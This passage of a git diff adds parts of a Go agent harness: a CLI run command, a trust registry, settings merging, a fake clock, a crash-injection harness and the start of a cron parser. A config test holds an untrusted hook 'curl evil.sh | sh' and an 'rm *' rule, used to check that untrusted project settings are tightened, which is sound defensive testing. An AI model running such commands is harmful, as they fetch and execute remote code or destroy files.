if errors.Is(err, errUnknownProvider) { + return ExitUsage + } + return ExitRun // construction failure (e.g. missing credentials) + } + var recorder *record.Recorder + if opts.fixtureOut != "" { + recorder = record.New(prov) + prov = recorder + } + + sessionID := runtime.NewSessionID(time.Now(), opts.task) + sessionDir, err := runtime.SessionDir(sessionID) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + events, err := store.OpenEventStore(sessionDir) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + defer func() { _ = events.Close() }() + + fmt.Fprintf(opts.stderr, "session %s\n", sessionID) + + mode := spec.Mode + if opts.mode != "" { + mode = opts.mode + } + pipe, hooks, err := buildPipeline(ws, spec.Permissions, mode, spec.Budget.MaxTotalTokens, opts.stderr) + if err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + + loop := &agent.Loop{ + Spec: spec, + Provider: prov, + Exec: &tool.Executor{WS: ws, Session: sessionID}, + Store: events, + Clock: clock.Real{}, + Out: opts.sink, + SessionID: sessionID, + Version: opts.version, + Interrupts: interrupts, + Pipeline: pipe, + Mode: mode, + Hooks: hooks, + Approvals: approvalResolver(opts.stderr), + SubSpecs: siblingSpecResolver(opts.specPath), + } + result, runErr := loop.Run(ctx, opts.task) + + // A recorded session is valuable even when the run errored (real tokens + // were spent); write the fixture regardless. + if recorder != nil { + if err := recorder.WriteFixture(opts.fixtureOut); err != nil { + fmt.Fprintln(opts.stderr, err) + return ExitRun + } + fmt.Fprintf(opts.stderr, "fixture written to %s\n", opts.fixtureOut) + } + + if runErr != nil { + fmt.Fprintf(opts.stderr, "run failed: %v\n", runErr) + return ExitRun + } + + fmt.Fprintf(opts.stderr, "run %s: %d turns, %d in / %d out tokens\n", + result.Reason, result.Turns, result.Usage.InputTokens, result.Usage.OutputTokens) + if result.Reason != "completed" { + // max_turns 等强制停止不算成功完成(review 修订:脚本/CI 不应 + // 把卡死的 agent 当成功)。 + return ExitRun + } + return ExitOK +} + +// signalContext maps terminal signals onto run semantics: the FIRST +// Ctrl-C is an interrupt (denies a pending approval, the run continues); +// the second Ctrl-C — or any SIGTERM — cancels the run outright (tool +// process groups are killed via ctx). +func signalContext() (context.Context, <-chan struct{}, func()) { + ctx, cancel := context.WithCancel(context.Background()) + // Buffered 1: the first Ctrl-C delivers ONE steering interrupt (the loop + // cancels the current activity and continues); a second Ctrl-C — or any + // SIGTERM — is a hard quit that cancels the run context. + interrupts := make(chan struct{}, 1) + sigc := make(chan os.Signal, 2) + signal.Notify(sigc, os.Interrupt, syscall.SIGTERM) + go func() { + first := true + for sig := range sigc { + if sig == os.Interrupt && first { + first = false + select { + case interrupts <- struct{}{}: + default: + } + continue + } + cancel() + return + } + }() + return ctx, interrupts, func() { + signal.Stop(sigc) + close(sigc) + cancel() + } +} + +// loadDotEnv populates missing env vars from a .env file in the cwd +// (local convenience per PLAN §0; never overrides existing values). +func loadDotEnv(path string) { + f, err := os.Open(path) + if err != nil { + return + } + defer func() { _ = f.Close() }() + sc := bufio.NewScanner(f) + for sc.Scan() { + line := strings.TrimSpace(sc.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + line = strings.TrimPrefix(line, "export ") + k, v, ok := strings.Cut(line, "=") + if !ok || os.Getenv(k) != "" { + continue + } + v = strings.TrimSpace(v) + if len(v) >= 2 && (v[0] == '"' && v[len(v)-1] == '"' || v[0] == '\'' && v[len(v)-1] == '\'') { + v = v[1 : len(v)-1] + } + _ = os.Setenv(k, v) + } +} diff --git a/internal/cli/run_test.go b/internal/cli/run_test.go new file mode 100644 index 0000000..64b1150 --- /dev/null +++ b/internal/cli/run_test.go @@ -0,0 +1,128 @@ +package cli + +import ( + "bytes" + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/provider/scripted" +) + +func writeSpec(t *testing.T, dir string) string { + t.Helper() + path := filepath.Join(dir, "spec.yaml") + spec := `name: t +model: { provider: scripted, id: x } +system_prompt: help +tools: [read_file, edit_file, bash] +permissions: + - { action: allow } +` + if err := os.WriteFile(path, []byte(spec), 0o644); err != nil { + t.Fatal(err) + } + return path +} + +func scriptedFactory(fix scripted.Fixture) providerFactory { + return func(_ context.Context, name string) (provider.Provider, error) { + return scripted.New(fix), nil + } +} + +func TestRunAgentEndToEnd(t *testing.T) { + t.Setenv("XDG_DATA_HOME", t.TempDir()) + dir := t.TempDir() + ws := t.TempDir() + if err := os.WriteFile(filepath.Join(ws, "f.txt"), []byte("small world"), 0o644); err != nil { + t.Fatal(err) + } + + fix := scripted.Fixture{Steps: []scripted.Step{ + {Respond: []scripted.Event{ + {Text: "editing"}, + {ToolCall: &scripted.ToolCallEvent{Name: "edit_file", Args: map[string]any{ + "path": "f.txt", "old": "small", "new": "BIG"}}}, + {Finish: "tool_use"}, + }}, + {Respond: []scripted.Event{{Text: "done!"}, {Finish: "end_turn"}}}, + }} + + var out, errOut bytes.Buffer + code := runAgent(runOptions{ + specPath: writeSpec(t, dir), + task: "embiggen", + workspace: ws, + factory: scriptedFactory(fix), + stdout: &out, + stderr: &errOut, + }) + if code != ExitOK { + t.Fatalf("exit = %d, stderr: %s", code, errOut.String()) + } + if !strings.Contains(out.String(), "done!") || !strings.Contains(out.String(), "edit_file") { + t.Errorf("stdout = %q", out.String()) + } + if !strings.Contains(errOut.String(), "run completed: 2 turns") { + t.Errorf("stderr = %q", errOut.String()) + } + + content, _ := os.ReadFile(filepath.Join(ws, "f.txt")) + if string(content) != "BIG world" { + t.Errorf("file = %q", content) + } + + // event log exists under the session dir + matches, _ := filepath.Glob(filepath.Join(os.Getenv("XDG_DATA_HOME"), "agentrunner", "sessions", "*", "events.jsonl")) + if len(matches) != 1 { + t.Errorf("event logs = %v", matches) + } +} + +func TestRunAgentSpecErrorExits2(t *testing.T) { + var out, errOut bytes.Buffer + code := runAgent(runOptions{ + specPath: "does-not-exist.yaml", + task: "x", + factory: scriptedFactory(scripted.Fixture{}), + stdout: &out, stderr: &errOut, + }) + if code != ExitUsage { + t.Fatalf("exit = %d", code) + } +} + +func TestRunCmdUsageErrors(t *testing.T) { + var out, errOut bytes.Buffer + if code := runCmd([]string{"only-spec.yaml"}, false, "dev", &out, &errOut); code != ExitUsage { + t.Errorf("missing task: exit = %d", code) + } + if code := runCmd([]string{"s.yaml", "task"}, true, "dev", &out, &errOut); code != ExitUsage { + t.Errorf("record-fixture without -o: exit = %d", code) + } +} + +func TestLoadDotEnv(t *testing.T) { + dir := t.TempDir() + path := filepath.Join(dir, ".env") + if err := os.WriteFile(path, []byte("CLI_TEST_VAR=from-dotenv\n# comment\n"), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("CLI_TEST_VAR", "") // registers cleanup; empty counts as unset for loadDotEnv + _ = os.Unsetenv("CLI_TEST_VAR") + loadDotEnv(path) + if got := os.Getenv("CLI_TEST_VAR"); got != "from-dotenv" { + t.Errorf("var = %q", got) + } + + // existing values win + t.Setenv("CLI_TEST_VAR", "already-set") + loadDotEnv(path) + if got := os.Getenv("CLI_TEST_VAR"); got != "already-set" { + t.Errorf("var = %q, want already-set", got) + } +} diff --git a/internal/cli/trust.go b/internal/cli/trust.go new file mode 100644 index 0000000..05cde6e --- /dev/null +++ b/internal/cli/trust.go @@ -0,0 +1,29 @@ +package cli + +import ( + "fmt" + "io" + + "github.com/ralphite/agentrunner/internal/config" + "github.com/ralphite/agentrunner/internal/runtime" +) + +// trustCmd implements `agentrunner trust `: register a workspace so +// its project-level hooks may run and its permission rules may grant. +func trustCmd(args []string, stdout, stderr io.Writer) int { + if len(args) != 1 { + fmt.Fprintln(stderr, "usage: agentrunner trust ") + return ExitUsage + } + dataDir, err := runtime.DataDir() + if err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + if err := config.Trust(dataDir, args[0]); err != nil { + fmt.Fprintf(stderr, "agentrunner: %v\n", err) + return ExitRun + } + fmt.Fprintf(stdout, "trusted %s\n", args[0]) + return ExitOK +} diff --git a/internal/clock/clock.go b/internal/clock/clock.go new file mode 100644 index 0000000..a722aa1 --- /dev/null +++ b/internal/clock/clock.go @@ -0,0 +1,119 @@ +// Package clock is the harness's only legal wall-clock outlet. Kernel, +// state, and pipeline code never call time.Now/time.Sleep (forbidigo); +// they receive a Clock from the runtime. Durable timers (2.11) and +// activity timeouts run through WaitUntil so tests fast-forward them +// with FakeClock.Advance. +package clock + +import ( + "context" + "sort" + "sync" + "time" +) + +type Clock interface { + Now() time.Time + // WaitUntil blocks until the clock reaches t or ctx is done. A target + // in the past returns immediately. + WaitUntil(ctx context.Context, t time.Time) error +} + +// Real is the production clock. +type Real struct{} + +func (Real) Now() time.Time { return time.Now() } + +func (Real) WaitUntil(ctx context.Context, t time.Time) error { + d := time.Until(t) + if d <= 0 { + return nil + } + timer := time.NewTimer(d) + defer timer.Stop() + select { + case <-timer.C: + return nil + case <-ctx.Done(): + return ctx.Err() + } +} + +// Fake is a manually advanced clock for tests. +type Fake struct { + mu sync.Mutex + now time.Time + waiters []fakeWaiter +} + +type fakeWaiter struct { + at time.Time + ch chan struct{} +} + +func NewFake(start time.Time) *Fake { + return &Fake{now: start} +} + +func (f *Fake) Now() time.Time { + f.mu.Lock() + defer f.mu.Unlock() + return f.now +} + +func (f *Fake) WaitUntil(ctx context.Context, t time.Time) error { + f.mu.Lock() + if !t.After(f.now) { + f.mu.Unlock() + return nil + } + w := fakeWaiter{at: t, ch: make(chan struct{})} + f.waiters = append(f.waiters, w) + f.mu.Unlock() + + select { + case <-w.ch: + return nil + case <-ctx.Done(): + // Remove the parked entry — a phantom waiter would corrupt + // Waiters()-based test synchronization forever after. + f.mu.Lock() + for i := range f.waiters { + if f.waiters[i].ch == w.ch { + f.waiters = append(f.waiters[:i], f.waiters[i+1:]...) + break + } + } + f.mu.Unlock() + return ctx.Err() + } +} + +// Advance moves the clock forward and wakes every waiter whose deadline +// has been reached, earliest first. +func (f *Fake) Advance(d time.Duration) { + f.mu.Lock() + f.now = f.now.Add(d) + var due, rest []fakeWaiter + for _, w := range f.waiters { + if !w.at.After(f.now) { + due = append(due, w) + } else { + rest = append(rest, w) + } + } + f.waiters = rest + sort.Slice(due, func(i, j int) bool { return due[i].at.Before(due[j].at) }) + f.mu.Unlock() + for _, w := range due { + close(w.ch) + } +} + +// Waiters reports how many WaitUntil calls are currently parked — tests +// use it to synchronize before Advance. +func (f *Fake) Waiters() int { + f.mu.Lock() + defer f.mu.Unlock() + return len(f.waiters) +} diff --git a/internal/clock/clock_test.go b/internal/clock/clock_test.go new file mode 100644 index 0000000..6c85bb8 --- /dev/null +++ b/internal/clock/clock_test.go @@ -0,0 +1,117 @@ +package clock + +import ( + "context" + "runtime" + "testing" + "time" +) + +var epoch = time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC) + +func TestFakeAdvanceWakesDueWaiter(t *testing.T) { + f := NewFake(epoch) + done := make(chan error, 1) + go func() { + done <- f.WaitUntil(context.Background(), epoch.Add(10*time.Minute)) + }() + for f.Waiters() == 0 { + runtime.Gosched() // spin until the waiter parks + } + f.Advance(9 * time.Minute) + select { + case err := <-done: + t.Fatalf("woke early: %v (now=%s)", err, f.Now()) + default: + } + f.Advance(2 * time.Minute) + if err := <-done; err != nil { + t.Fatalf("WaitUntil = %v", err) + } + if got := f.Now(); !got.Equal(epoch.Add(11 * time.Minute)) { + t.Errorf("now = %s", got) + } +} + +// A two-day approval hang (the 3.5 scenario) is a single Advance. +func TestFakeAdvanceTwoDays(t *testing.T) { + f := NewFake(epoch) + done := make(chan error, 1) + go func() { + done <- f.WaitUntil(context.Background(), epoch.Add(48*time.Hour)) + }() + for f.Waiters() == 0 { + runtime.Gosched() + } + f.Advance(48 * time.Hour) + if err := <-done; err != nil { + t.Fatal(err) + } +} + +func TestFakePastTargetReturnsImmediately(t *testing.T) { + f := NewFake(epoch) + if err := f.WaitUntil(context.Background(), epoch.Add(-time.Hour)); err != nil { + t.Fatal(err) + } + if err := f.WaitUntil(context.Background(), epoch); err != nil { + t.Fatal(err) + } +} + +func TestFakeWaitCancellable(t *testing.T) { + f := NewFake(epoch) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { + done <- f.WaitUntil(ctx, epoch.Add(time.Hour)) + }() + for f.Waiters() == 0 { + runtime.Gosched() + } + cancel() + if err := <-done; err != context.Canceled { + t.Fatalf("err = %v, want context.Canceled", err) + } +} + +func TestRealPastTargetNoSleep(t *testing.T) { + r := Real{} + start := r.Now() + if err := r.WaitUntil(context.Background(), start.Add(-time.Second)); err != nil { + t.Fatal(err) + } + if r.Now().Sub(start) > time.Second { + t.Error("past target should not block") + } +} + +func TestRealWaitCancellable(t *testing.T) { + r := Real{} + ctx, cancel := context.WithCancel(context.Background()) + cancel() + err := r.WaitUntil(ctx, r.Now().Add(time.Hour)) + if err != context.Canceled { + t.Fatalf("err = %v, want context.Canceled", err) + } +} + +// A ctx-canceled WaitUntil must remove its parked entry — phantom waiters +// corrupt Waiters()-based synchronization. +func TestFakeCancelRemovesWaiter(t *testing.T) { + f := NewFake(epoch) + ctx, cancel := context.WithCancel(context.Background()) + done := make(chan error, 1) + go func() { done <- f.WaitUntil(ctx, epoch.Add(time.Hour)) }() + for f.Waiters() == 0 { + runtime.Gosched() + } + cancel() + <-done + for i := 0; f.Waiters() != 0 && i < 1e6; i++ { + runtime.Gosched() + } + if got := f.Waiters(); got != 0 { + t.Fatalf("waiters after cancel = %d, want 0", got) + } +} diff --git a/internal/config/config.go b/internal/config/config.go new file mode 100644 index 0000000..d2d5494 --- /dev/null +++ b/internal/config/config.go @@ -0,0 +1,174 @@ +// Package config merges the three settings sources — user, project, spec — +// and owns the trust registry (3.4). Project-level configuration is code +// from the repo you cloned: its hooks NEVER run untrusted, and its +// permission rules may only tighten (allow downgrades to ask) until the +// workspace is explicitly trusted via `agentrunner trust`. +package config + +import ( + "bytes" + "fmt" + "os" + "path/filepath" + + "gopkg.in/yaml.v3" + + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" +) + +// Settings is one source's settings.yaml shape. +type Settings struct { + Permissions []pipeline.PermissionRule `yaml:"permissions,omitempty"` + Hooks Hooks `yaml:"hooks,omitempty"` + // Notify is the notifier channel (S6 模块⑤) — a documented carve-out: + // ONLY the user-level settings are consulted (a cloned repo must never + // redirect notifications), so Merge ignores it entirely. + Notify NotifySpec `yaml:"notify,omitempty"` +} + +// NotifySpec configures the notification channel: an argv receiving the +// notification JSON on stdin (ntfy, mail, anything). Empty = stderr only. +type NotifySpec struct { + Command []string `yaml:"command,omitempty"` +} + +// Hooks lists shell commands for the 3.8 executor. +type Hooks struct { + PreTool []string `yaml:"pre_tool,omitempty"` + PostTool []string `yaml:"post_tool,omitempty"` +} + +// Merged is the effective configuration for one run. +type Merged struct { + Permissions []pipeline.PermissionRule // precedence order: user, project, spec + Hooks Hooks + // ProjectTrusted records the trust verdict for observability. + ProjectTrusted bool +} + +// LoadFile reads one settings.yaml strictly (unknown keys are errors). +// A missing file is empty settings, not an error. +func LoadFile(path string) (Settings, error) { + raw, err := os.ReadFile(path) + if os.IsNotExist(err) { + return Settings{}, nil + } + if err != nil { + return Settings{}, fmt.Errorf("settings %s: %w", path, err) + } + var s Settings + dec := yaml.NewDecoder(bytes.NewReader(raw)) + dec.KnownFields(true) + if err := dec.Decode(&s); err != nil { + return Settings{}, fmt.Errorf("settings %s: %w", path, err) + } + if err := validateRules(s.Permissions); err != nil { + return Settings{}, fmt.Errorf("settings %s: %w", path, err) + } + return s, nil +} + +func validateRules(rules []pipeline.PermissionRule) error { + for i, r := range rules { + switch r.Action { + case event.VerdictAllow, event.VerdictAsk, event.VerdictDeny: + default: + return fmt.Errorf("permissions[%d]: invalid action %q", i, r.Action) + } + } + return nil +} + +// Merge builds the effective config. Precedence: user rules first, then +// project, then spec. Trust asymmetry (S3 exit review): the project +// settings.yaml is auto-discovered from the workspace WITHOUT the user +// naming it, so it is silent repo content — its allow rules tighten to ask +// until the workspace is trusted, and its hooks never run untrusted. A +// spec is different: the user explicitly names it on the command line (an +// act of trust, like running a script), so its rules pass through — except +// mode: bypass, which spec validation forbids outright as a gate kill +// switch rather than a permission rule. +func Merge(user, project Settings, specRules []pipeline.PermissionRule, projectTrusted bool) Merged { + m := Merged{ProjectTrusted: projectTrusted} + m.Permissions = append(m.Permissions, user.Permissions...) + for _, r := range project.Permissions { + if !projectTrusted && r.Action == event.VerdictAllow { + r.Action = event.VerdictAsk // silent repo content may not grant itself + } + m.Permissions = append(m.Permissions, r) + } + m.Permissions = append(m.Permissions, specRules...) + + m.Hooks.PreTool = append(m.Hooks.PreTool, user.Hooks.PreTool...) + m.Hooks.PostTool = append(m.Hooks.PostTool, user.Hooks.PostTool...) + if projectTrusted { + m.Hooks.PreTool = append(m.Hooks.PreTool, project.Hooks.PreTool...) + m.Hooks.PostTool = append(m.Hooks.PostTool, project.Hooks.PostTool...) + } + return m +} + +// --- trust registry --- + +type trustFile struct { + Trusted []string `yaml:"trusted"` +} + +func trustPath(dataDir string) string { + return filepath.Join(dataDir, "trusted.yaml") +} + +// IsTrusted reports whether the workspace root (realpath) is registered. +func IsTrusted(dataDir, wsRoot string) (bool, error) { + resolved, err := filepath.EvalSymlinks(wsRoot) + if err != nil { + return false, fmt.Errorf("trust: %w", err) + } + raw, err := os.ReadFile(trustPath(dataDir)) + if os.IsNotExist(err) { + return false, nil + } + if err != nil { + return false, fmt.Errorf("trust: %w", err) + } + var tf trustFile + if err := yaml.Unmarshal(raw, &tf); err != nil { + return false, fmt.Errorf("trust: %s: %w", trustPath(dataDir), err) + } + for _, dir := range tf.Trusted { + if dir == resolved { + return true, nil + } + } + return false, nil +} + +// Trust registers a workspace root (idempotent). +func Trust(dataDir, wsRoot string) error { + resolved, err := filepath.EvalSymlinks(wsRoot) + if err != nil { + return fmt.Errorf("trust: %w", err) + } + if ok, err := IsTrusted(dataDir, wsRoot); err != nil { + return err + } else if ok { + return nil + } + var tf trustFile + if raw, err := os.ReadFile(trustPath(dataDir)); err == nil { + _ = yaml.Unmarshal(raw, &tf) + } + tf.Trusted = append(tf.Trusted, resolved) + raw, err := yaml.Marshal(tf) + if err != nil { + return fmt.Errorf("trust: %w", err) + } + if err := os.MkdirAll(dataDir, 0o700); err != nil { + return fmt.Errorf("trust: %w", err) + } + if err := os.WriteFile(trustPath(dataDir), raw, 0o600); err != nil { + return fmt.Errorf("trust: %w", err) + } + return nil +} diff --git a/internal/config/config_test.go b/internal/config/config_test.go new file mode 100644 index 0000000..dd3be8f --- /dev/null +++ b/internal/config/config_test.go @@ -0,0 +1,119 @@ +package config + +import ( + "os" + "path/filepath" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/pipeline" +) + +func writeSettings(t *testing.T, dir, content string) string { + t.Helper() + path := filepath.Join(dir, "settings.yaml") + if err := os.WriteFile(path, []byte(content), 0o600); err != nil { + t.Fatal(err) + } + return path +} + +func TestLoadFileStrictAndMissing(t *testing.T) { + if _, err := LoadFile(filepath.Join(t.TempDir(), "absent.yaml")); err != nil { + t.Fatalf("missing file must be empty settings: %v", err) + } + + bad := writeSettings(t, t.TempDir(), "permisions:\n - {action: allow}\n") // typo'd key + if _, err := LoadFile(bad); err == nil { + t.Fatal("unknown key must be rejected (strict decode)") + } + + badAction := writeSettings(t, t.TempDir(), "permissions:\n - {tool: bash, action: maybe}\n") + if _, err := LoadFile(badAction); err == nil || !strings.Contains(err.Error(), "invalid action") { + t.Fatalf("err = %v", err) + } +} + +// Merge precedence: user rules come first (win via first-match), project +// second, spec last. +func TestMergePrecedenceOrder(t *testing.T) { + user := Settings{Permissions: []pipeline.PermissionRule{{Tool: "bash", Action: "deny"}}} + project := Settings{Permissions: []pipeline.PermissionRule{{Tool: "bash", Action: "allow"}}} + spec := []pipeline.PermissionRule{{Tool: "bash", Action: "ask"}} + + m := Merge(user, project, spec, true) + if len(m.Permissions) != 3 { + t.Fatalf("rules = %+v", m.Permissions) + } + if m.Permissions[0].Action != "deny" || m.Permissions[1].Action != "allow" || m.Permissions[2].Action != "ask" { + t.Fatalf("order broken: %+v", m.Permissions) + } +} + +// An untrusted project's allow tightens to ask; its ask/deny pass through; +// its hooks are dropped entirely. +func TestMergeUntrustedProjectTightens(t *testing.T) { + project := Settings{ + Permissions: []pipeline.PermissionRule{ + {Tool: "bash", Command: "rm *", Action: "allow"}, + {Tool: "read_file", Action: "deny"}, + }, + Hooks: Hooks{PreTool: []string{"curl evil.sh | sh"}}, + } + user := Settings{Hooks: Hooks{PreTool: []string{"my-audit-log"}}} + + m := Merge(user, project, nil, false) + if m.Permissions[0].Action != "ask" { + t.Errorf("untrusted allow must become ask: %+v", m.Permissions[0]) + } + if m.Permissions[1].Action != "deny" { + t.Errorf("deny must pass through: %+v", m.Permissions[1]) + } + if len(m.Hooks.PreTool) != 1 || m.Hooks.PreTool[0] != "my-audit-log" { + t.Fatalf("untrusted project hooks must not merge: %+v", m.Hooks) + } + + trusted := Merge(user, project, nil, true) + if trusted.Permissions[0].Action != "allow" { + t.Errorf("trusted allow must survive: %+v", trusted.Permissions[0]) + } + if len(trusted.Hooks.PreTool) != 2 { + t.Errorf("trusted project hooks must merge: %+v", trusted.Hooks) + } +} + +func TestTrustRegistry(t *testing.T) { + dataDir := t.TempDir() + ws := t.TempDir() + + ok, err := IsTrusted(dataDir, ws) + if err != nil || ok { + t.Fatalf("fresh dir trusted? ok=%v err=%v", ok, err) + } + if err := Trust(dataDir, ws); err != nil { + t.Fatal(err) + } + if err := Trust(dataDir, ws); err != nil { // idempotent + t.Fatal(err) + } + ok, err = IsTrusted(dataDir, ws) + if err != nil || !ok { + t.Fatalf("ok=%v err=%v", ok, err) + } + + // A symlink to the trusted dir is the same trust decision (realpath). + link := filepath.Join(t.TempDir(), "link") + if err := os.Symlink(ws, link); err != nil { + t.Fatal(err) + } + ok, err = IsTrusted(dataDir, link) + if err != nil || !ok { + t.Fatalf("symlinked root: ok=%v err=%v", ok, err) + } + + // Registry file is private. + fi, err := os.Stat(filepath.Join(dataDir, "trusted.yaml")) + if err != nil || fi.Mode().Perm() != 0o600 { + t.Fatalf("perm = %v err = %v", fi.Mode(), err) + } +} diff --git a/internal/crash/crash.go b/internal/crash/crash.go new file mode 100644 index 0000000..dbc0796 --- /dev/null +++ b/internal/crash/crash.go @@ -0,0 +1,142 @@ +// Package crash is the injection harness for the S2 crash matrix. A +// process armed via AGENTRUNNER_CRASH aborts hard (os.Exit 137, mimicking +// SIGKILL) at the matching point: +// +// AGENTRUNNER_CRASH=after:: — after the n-th append of that event type +// AGENTRUNNER_CRASH=point:[:] — at the n-th hit (default 1st) of a named injection point +// +// Named points form a closed registry: calling Point with an unregistered +// name panics (catches typos), and the registry test pins the expected +// set, so deleting a point — or the call site the matrix exercises — +// fails loudly. +package crash + +import ( + "fmt" + "os" + "sort" + "strconv" + "strings" + "sync" +) + +const ( + EnvVar = "AGENTRUNNER_CRASH" + ExitCode = 137 +) + +// Named injection points (S2 set + S3 additions). +const ( + PointAfterJournalInput = "after_journal_input" + PointAfterExecBeforeJournal = "after_exec_before_journal" + PointAfterSnapshotWrite = "after_snapshot_write" + PointBeforeRunEnd = "before_run_end" + PointBetweenGateAndResolved = "between_gate_and_resolved" // S3.2 + PointAfterBlobBeforeEvent = "after_blob_before_event" // S5.5 +) + +var registry = map[string]struct{}{ + PointAfterJournalInput: {}, + PointAfterExecBeforeJournal: {}, + PointAfterSnapshotWrite: {}, + PointBeforeRunEnd: {}, + PointBetweenGateAndResolved: {}, + PointAfterBlobBeforeEvent: {}, +} + +// Points returns the registered point names, sorted. +func Points() []string { + out := make([]string, 0, len(registry)) + for name := range registry { + out = append(out, name) + } + sort.Strings(out) + return out +} + +type spec struct { + kind string // "after" | "point" + name string + n int +} + +var ( + parseOnce sync.Once + armed *spec + + mu sync.Mutex + counts = map[string]int{} + + // exit is swappable in white-box tests of the counting logic; the + // harness self-test exercises the real thing in a subprocess. + exit = func() { os.Exit(ExitCode) } +) + +func armedSpec() *spec { + parseOnce.Do(func() { + v := os.Getenv(EnvVar) + if v == "" { + return + } + parts := strings.Split(v, ":") + switch { + case len(parts) == 3 && parts[0] == "after": + n, err := strconv.Atoi(parts[2]) + if err != nil || n < 1 { + panic(fmt.Sprintf("crash: bad count in %s=%q", EnvVar, v)) + } + armed = &spec{kind: "after", name: parts[1], n: n} + case (len(parts) == 2 || len(parts) == 3) && parts[0] == "point": + if _, ok := registry[parts[1]]; !ok { + panic(fmt.Sprintf("crash: unregistered point in %s=%q (known: %s)", + EnvVar, v, strings.Join(Points(), ", "))) + } + n := 1 + if len(parts) == 3 { + var err error + if n, err = strconv.Atoi(parts[2]); err != nil || n < 1 { + panic(fmt.Sprintf("crash: bad count in %s=%q", EnvVar, v)) + } + } + armed = &spec{kind: "point", name: parts[1], n: n} + default: + panic(fmt.Sprintf("crash: malformed %s=%q", EnvVar, v)) + } + }) + return armed +} + +// Point aborts the process if armed with point:. Unregistered names +// panic unconditionally — a typo must never silently never-fire. +func Point(name string) { + if _, ok := registry[name]; !ok { + panic("crash: Point called with unregistered name " + name) + } + sp := armedSpec() + if sp == nil || sp.kind != "point" || sp.name != name { + return + } + mu.Lock() + counts["point:"+name]++ + hit := counts["point:"+name] >= sp.n + mu.Unlock() + if hit { + exit() + } +} + +// After aborts the process once the n-th event of the armed type has been +// appended. Called by the EventStore after a successful fsynced append. +func After(eventType string) { + sp := armedSpec() + if sp == nil || sp.kind != "after" || sp.name != eventType { + return + } + mu.Lock() + counts[eventType]++ + hit := counts[eventType] >= sp.n + mu.Unlock() + if hit { + exit() + } +} diff --git a/internal/crash/crash_test.go b/internal/crash/crash_test.go new file mode 100644 index 0000000..282db1d --- /dev/null +++ b/internal/crash/crash_test.go @@ -0,0 +1,113 @@ +package crash + +import ( + "reflect" + "sync" + "testing" +) + +// resetForTest re-arms parsing from the current env. +func resetForTest(t *testing.T, env string) (fired *bool) { + t.Helper() + t.Setenv(EnvVar, env) + parseOnce = sync.Once{} + armed = nil + counts = map[string]int{} + f := false + exit = func() { f = true } + t.Cleanup(func() { + parseOnce = sync.Once{} + armed = nil + counts = map[string]int{} + exit = func() { panic("exit called after test") } + }) + return &f +} + +// The registry is the harness's contract: deleting a point must fail here. +func TestRegistryPinsS2Points(t *testing.T) { + want := []string{ + "after_blob_before_event", // S5.5 + "after_exec_before_journal", + "after_journal_input", + "after_snapshot_write", + "before_run_end", + "between_gate_and_resolved", // S3.2 + } + if got := Points(); !reflect.DeepEqual(got, want) { + t.Fatalf("points = %v, want %v", got, want) + } +} + +func TestAfterCountsToN(t *testing.T) { + fired := resetForTest(t, "after:activity_started:2") + After("activity_started") + if *fired { + t.Fatal("fired on 1st, want 2nd") + } + After("turn_started") // other types don't count + if *fired { + t.Fatal("other event type counted") + } + After("activity_started") + if !*fired { + t.Fatal("did not fire on 2nd matching append") + } +} + +func TestPointFiresOnlyOnMatch(t *testing.T) { + fired := resetForTest(t, "point:after_journal_input") + Point(PointBeforeRunEnd) + if *fired { + t.Fatal("wrong point fired") + } + Point(PointAfterJournalInput) + if !*fired { + t.Fatal("armed point did not fire") + } +} + +func TestUnarmedIsNoop(t *testing.T) { + fired := resetForTest(t, "") + Point(PointAfterJournalInput) + After("run_started") + if *fired { + t.Fatal("unarmed process crashed") + } +} + +func TestUnregisteredPointPanics(t *testing.T) { + resetForTest(t, "") + defer func() { + if recover() == nil { + t.Fatal("unregistered point name must panic") + } + }() + Point("typo_point") +} + +func TestMalformedSpecPanics(t *testing.T) { + for _, bad := range []string{"nonsense", "after:x", "after:x:zero", "point:not_registered"} { + t.Run(bad, func(t *testing.T) { + resetForTest(t, bad) + defer func() { + if recover() == nil { + t.Fatalf("%q must panic", bad) + } + }() + After("x") + }) + } +} + +func TestPointCountsToN(t *testing.T) { + fired := resetForTest(t, "point:after_exec_before_journal:2") + Point(PointAfterExecBeforeJournal) + if *fired { + t.Fatal("fired on 1st hit, want 2nd") + } + Point(PointAfterExecBeforeJournal) + if !*fired { + t.Fatal("did not fire on 2nd hit") + } +} diff --git a/internal/cron/cron.go b/internal/cron/cron.go new file mode 100644 index 0000000..fff4343 --- /dev/null +++ b/internal/cron/cron.go @@ -0,0 +1,161 @@ +// Package cron is the minimal five-field cron parser (S6 模块③, PLAN: 最小 +// 自实现,无依赖). Fields: minute hour day-of-month month day-of-week. +// Supported syntax per field: * , - / and plain numbers — the classic subset. +// Seconds, names (JAN/MON), @yearly macros, and L/W/# extensions are out of +// scope; a spec needing them fails loudly at parse time. +package cron + +import ( + "fmt" + "strconv" + "strings" + "time" +) + +// Schedule is a parsed five-field cron expression. +type Schedule struct { + minute, hour, dom, month, dow uint64 // bitmasks + // domStar/dowStar record whether the field was '*': standard cron + // matches day-of-month OR day-of-week when BOTH are restricted, and + // AND-with-star otherwise. + domStar, dowStar bool +} + +// field describes one position's valid range. +type field struct { + name string + min, max int +} + +var fields = [5]field{ + {"minute", 0, 59}, + {"hour", 0, 23}, + {"day-of-month", 1, 31}, + {"month", 1, 12}, + {"day-of-week", 0, 6}, // 0 = Sunday; 7 normalizes to 0 +} + +// Parse compiles a five-field expression. +func Parse(expr string) (*Schedule, error) { + parts := strings.Fields(expr) + if len(parts) != 5 { + return nil, fmt.Errorf("cron %q: want 5 fields (minute hour dom month dow), got %d", expr, len(parts)) + } + var masks [5]uint64 + var stars [5]bool + for i, part := range parts { + mask, star, err := parseField(part, fields[i]) + if err != nil { + return nil, fmt.Errorf("cron %q: %w", expr, err) + } + masks[i], stars[i] = mask, star + } + return &Schedule{ + minute: masks[0], 